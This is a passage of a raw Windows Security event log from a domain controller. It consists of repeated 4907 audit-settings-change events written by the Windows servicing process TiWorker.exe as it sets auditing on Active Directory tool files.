Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\rendom.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247409 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\redirusr.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247408 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\redircmp.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247407 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntfrsapi.dll.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247406 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsutil.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247405 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ldp.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247404 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ldifde.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247403 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpfixup.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247402 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsuiwiz.dll.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247401 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dssite.msc - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247400 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsrm.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247399 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsquery.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247398 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsmove.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247397 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsmod.exe.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247396 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsmgmt.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247395 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsget.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247394 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsdbutil.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247393 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsadmin.dll.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247392 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsadd.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247391 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsacn.dll.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247390 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsacls.exe.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247389 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsa.msc - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247388 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\domain.msc - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247387 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\domadmin.dll.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247386 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dcpromoui.dll.mui - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247385 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dcpromocmd.dll.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247384 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dcdiag.exe.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247383 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\csvde.exe.mui - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247382 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\adsiedit.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247381 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\adsiedit.dll.mui - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247380 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\adprop.dll.mui - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247379 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en\Microsoft.ActiveDirectory.Management.resources.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247378 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en\dsac.resources.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247377 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\schmmgmt.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247376 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT 